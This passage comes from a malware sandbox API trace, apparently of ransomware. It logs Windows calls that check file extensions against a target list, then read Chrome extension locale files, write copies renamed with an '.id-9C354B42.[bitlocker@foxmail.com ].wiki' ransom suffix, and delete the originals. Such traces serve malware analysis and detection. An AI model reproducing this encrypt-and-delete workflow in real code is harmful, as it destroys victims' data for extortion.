lpString2=".json") returned -1 [0174.251] lstrlenW (lpString=".pdf") returned 4 [0174.251] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.251] lstrlenW (lpString=".xls") returned 4 [0174.251] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.251] lstrlenW (lpString=".xlsx") returned 5 [0174.251] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.251] lstrlenW (lpString=".ppt") returned 4 [0174.251] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.251] lstrlenW (lpString=".zip") returned 4 [0174.251] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.251] lstrlenW (lpString=".rar") returned 4 [0174.251] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.251] lstrlenW (lpString=".bz2") returned 4 [0174.251] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.251] lstrlenW (lpString=".7z") returned 3 [0174.251] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.251] lstrlenW (lpString=".dbf") returned 4 [0174.251] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.251] lstrlenW (lpString=".1cd") returned 4 [0174.251] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.251] lstrlenW (lpString=".jpg") returned 4 [0174.251] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.252] lstrlenW (lpString=".doc") returned 4 [0174.252] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.252] lstrlenW (lpString=".docx") returned 5 [0174.252] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.252] lstrlenW (lpString=".pdf") returned 4 [0174.252] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.252] lstrlenW (lpString=".xls") returned 4 [0174.252] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.252] lstrlenW (lpString=".xlsx") returned 5 [0174.252] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.252] lstrlenW (lpString=".ppt") returned 4 [0174.252] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.252] lstrlenW (lpString=".zip") returned 4 [0174.252] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.252] lstrlenW (lpString=".rar") returned 4 [0174.252] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.252] lstrlenW (lpString=".bz2") returned 4 [0174.252] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.252] lstrlenW (lpString=".7z") returned 3 [0174.252] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.252] lstrlenW (lpString=".dbf") returned 4 [0174.252] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.252] lstrlenW (lpString=".1cd") returned 4 [0174.252] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.253] lstrlenW (lpString=".jpg") returned 4 [0174.253] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.253] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.253] lstrlenW (lpString="messages.json") returned 13 [0174.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.253] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=179) returned 1 [0174.253] CloseHandle (hObject=0x1ac) returned 1 [0174.253] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json")) returned 0x2020 [0174.253] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.254] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.254] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.522] GetLastError () returned 0x0 [0174.522] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.523] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.524] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.524] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.524] SetEndOfFile (hFile=0x19c) returned 1 [0174.524] CloseHandle (hObject=0x19c) returned 1 [0174.524] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.524] SetEndOfFile (hFile=0x1ac) returned 1 [0174.525] CloseHandle (hObject=0x1ac) returned 1 [0174.525] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.525] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json")) returned 1 [0174.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.526] lstrlenW (lpString=".doc") returned 4 [0174.526] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.526] lstrlenW (lpString=".docx") returned 5 [0174.526] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.526] lstrlenW (lpString=".pdf") returned 4 [0174.526] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.526] lstrlenW (lpString=".xls") returned 4 [0174.526] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.526] lstrlenW (lpString=".xlsx") returned 5 [0174.526] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.526] lstrlenW (lpString=".ppt") returned 4 [0174.526] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.526] lstrlenW (lpString=".zip") returned 4 [0174.526] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.526] lstrlenW (lpString=".rar") returned 4 [0174.526] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.526] lstrlenW (lpString=".bz2") returned 4 [0174.526] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.526] lstrlenW (lpString=".7z") returned 3 [0174.526] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.526] lstrlenW (lpString=".dbf") returned 4 [0174.526] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.526] lstrlenW (lpString=".1cd") returned 4 [0174.526] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.527] lstrlenW (lpString=".jpg") returned 4 [0174.527] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.527] lstrlenW (lpString=".doc") returned 4 [0174.527] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.527] lstrlenW (lpString=".docx") returned 5 [0174.527] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.527] lstrlenW (lpString=".pdf") returned 4 [0174.527] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.527] lstrlenW (lpString=".xls") returned 4 [0174.527] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.527] lstrlenW (lpString=".xlsx") returned 5 [0174.527] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.527] lstrlenW (lpString=".ppt") returned 4 [0174.527] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.527] lstrlenW (lpString=".zip") returned 4 [0174.527] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.527] lstrlenW (lpString=".rar") returned 4 [0174.527] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.527] lstrlenW (lpString=".bz2") returned 4 [0174.527] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.527] lstrlenW (lpString=".7z") returned 3 [0174.527] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.527] lstrlenW (lpString=".dbf") returned 4 [0174.528] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.528] lstrlenW (lpString=".1cd") returned 4 [0174.528] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 153 [0174.528] lstrlenW (lpString=".jpg") returned 4 [0174.528] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.528] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.528] lstrlenW (lpString="messages.json") returned 13 [0174.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.528] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=179) returned 1 [0174.529] CloseHandle (hObject=0x1ac) returned 1 [0174.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json")) returned 0x2020 [0174.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.529] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.529] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.530] GetLastError () returned 0x0 [0174.530] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.531] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.532] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.532] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.532] SetEndOfFile (hFile=0x19c) returned 1 [0174.532] CloseHandle (hObject=0x19c) returned 1 [0174.532] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.532] SetEndOfFile (hFile=0x1ac) returned 1 [0174.533] CloseHandle (hObject=0x1ac) returned 1 [0174.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.533] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json")) returned 1 [0174.533] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.533] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.533] lstrlenW (lpString=".doc") returned 4 [0174.533] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.534] lstrlenW (lpString=".docx") returned 5 [0174.534] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.534] lstrlenW (lpString=".pdf") returned 4 [0174.534] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.534] lstrlenW (lpString=".xls") returned 4 [0174.534] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.534] lstrlenW (lpString=".xlsx") returned 5 [0174.534] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.534] lstrlenW (lpString=".ppt") returned 4 [0174.534] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.534] lstrlenW (lpString=".zip") returned 4 [0174.534] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.534] lstrlenW (lpString=".rar") returned 4 [0174.534] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.534] lstrlenW (lpString=".bz2") returned 4 [0174.534] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.534] lstrlenW (lpString=".7z") returned 3 [0174.534] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.534] lstrlenW (lpString=".dbf") returned 4 [0174.534] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.534] lstrlenW (lpString=".1cd") returned 4 [0174.534] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.534] lstrlenW (lpString=".jpg") returned 4 [0174.534] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.535] lstrlenW (lpString=".doc") returned 4 [0174.535] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.535] lstrlenW (lpString=".docx") returned 5 [0174.535] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.535] lstrlenW (lpString=".pdf") returned 4 [0174.535] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.535] lstrlenW (lpString=".xls") returned 4 [0174.535] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.535] lstrlenW (lpString=".xlsx") returned 5 [0174.535] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.535] lstrlenW (lpString=".ppt") returned 4 [0174.535] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 